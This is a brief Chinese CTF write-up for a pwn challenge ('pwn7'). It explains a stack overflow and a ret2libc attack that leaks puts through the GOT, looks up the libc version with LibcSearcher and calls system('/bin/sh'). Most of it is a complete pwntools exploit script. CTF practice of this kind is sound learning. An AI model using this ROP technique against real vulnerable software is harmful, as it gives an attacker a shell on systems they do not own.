前面几个懒得写了,直接第七个吧,溢出点和前面一样get()函数,112字节,保护只开了NX程序本身没有system(),也没有/bin/sh,且栈不可执行,用ROPgadget也没找到有用的语句,但是程序是动态链接的,运行时会加载so库,可以用put()泄露出put的真实地址,又因为ASLR随机化不了地址底12位,可以用put真实地址的底12位查询加载的那个版本的libc.so,以及确定libc的基地址,知道了哪个版本,就可以确定system()及/bin/sh的偏移,libc基地址加上偏移就是system的真实地址,这里用了一个python库LibcSearcher,github地址
基本用法:
from LibcSearcher import *
#第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
obj = LibcSearcher("fgets", 0X7ff39014bd90)
obj.dump("system") #system 偏移
obj.dump("str_bin_sh") #/bin/sh 偏移
obj.dump("__libc_start_main_ret")
exp如下:
from pwn import *
from LibcSearcher import *
context.log_level='debug'
sh = process('./pwn7')
elf = ELF('./pwn7')
payload='a'*112+p32(elf.plt['puts'])+p32(elf.symbols['main'])+p32(elf.got['puts'])
sh.sendline(payload)
sh.recvuntil('?')
puts_addr=u32(sh.recv(4))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system_addr_real=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
payload1='a'*104+p32(system_addr_real)+'a'*4+p32(bin_sh)
sh.recvuntil('?')
sh.sendline(payload1)
sh.interactive()
至于为啥第二次104个字节就覆盖到返回地址,暂时还没想明白,gdb附件调试可以看出是104个